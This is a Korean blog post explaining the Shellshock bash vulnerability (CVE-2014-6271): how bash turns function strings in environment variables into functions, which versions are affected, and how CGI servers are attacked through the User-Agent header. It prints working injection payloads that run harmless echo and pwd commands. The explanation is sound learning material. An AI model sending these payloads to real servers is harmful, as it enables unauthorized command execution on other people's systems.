외로운 Nova의 작업실
CVE-2014-6271 - ShellShock 본문
- ShellShock
해당 취약점의 이름은 ShellShock이라고 부릅니다. 왜냐하면 shell상에서 일어난 취약점이기 때문입니다.
- 원리
해당 취약점의 원리를 이해하려면 bash상의 환경변수에대해서 이해해야합니다. 먼저 환경변수에대해서 알아봅시다.
$env nova='test'
$printenv nova
=> test
보통 위와 같이 환경변수는 문자열에 해당합니다. 함수도 환경변수에 저장할 수 있습니다.
$nova() { echo hi; }
$env nova
$nova
=> hi
위와 같이 말입니다. 문제는 함수를 문자열로 저장할때 발생합니다. 아래와 같이말입니다.
$env nova = '() { echo hihi; }'
$printenv nova
=> () { echo hihi; }
위처럼 함수를 문자열로 환경변수에 저장해놓고 다시 bash를 켜서 환경변수를 초기화하면 문자열이였던 nova가 함수로 변경됩니다.
$env nova
$bash
$nova
=> hihi
그리고 더 악화되는 부분이 함수 정의부분{}뒤에 명령어를 넣으면 bash가 초기화될때 실행된다는 점입니다.
$env nova = '() { echo hihi; };pwd'
$printenv nova
=> () { echo hihi; }
$env nova
$bash
=> /home/test
- 취약한 프로그램
먼저 취약한 프로그램들은 예전 bash를 사용하는 os들 입니다. 영향을 받는 bash 버전은 아래와 같습니다.
bash-4.2.45-5.el7_0.2 |
bash-4.1.2-15.el6_5.1 |
bash-4.1.2-15.el6_5.1.sjis.1 |
bash-4.1.2-9.el6_2.1 |
또한, 프로그램이 bash를 사용한다고 해서 취약하진 않지만 환경변수를 초기화해버리는 프로그램의 경우, 취약할 수 있습니다. 특히 CGI의 경우 서버가 패킷을 받아 환경변수 처리를 한후 CGI로 shell을 새로이 생성시키면 환경변수가 초기화되어 아까 배운것처럼 명령어가 실행될 수 있습니다.
- CGI상에서의 shellshock
CGI 상에서의 shellshock는 보내는 패킷의 user-agent 쪽에 페이로드를 넣어서 진행합니다. 특히 서버쪽에서 user-agent 값을 가지고 환경변수에 등록합니다. 따라서 저희는 페이로드를 아래와 같이 줄 수 있습니다.
() {echo hihi;};/bin/bash -c "echo test2"
또한 searchsploit에서 검증된 페이로드는 아래와 같습니다.
() { :;}; echo vulnerable; bash -c "echo this is a test"
위에서 중요한 부분은 아래와 같습니다.
- 함수의 원형을 지켜줘야합니다.
- '{'와 ':' 사이에는 띄어쓰기가 하나 들어갑니다.
- 첫번째 명령어에는 echo가 들어가야합니다.
'Server Penetesting > CVE-XXXX' 카테고리의 다른 글
CVE-2013-4710(안드로이드 webview 자바스크립트 인터페이스 취약점) (0) | 2023.05.14 |
---|---|
CVE-2020-24815 - html to pdf (0) | 2023.05.13 |
CVE-2015-6967 - nibbleblog 플러그인 취약점 (0) | 2023.04.22 |
CVE-2007-2447 - samba smbd 취약점 (0) | 2023.04.20 |
CVE-2008-4250 - ms08_067 (0) | 2023.04.11 |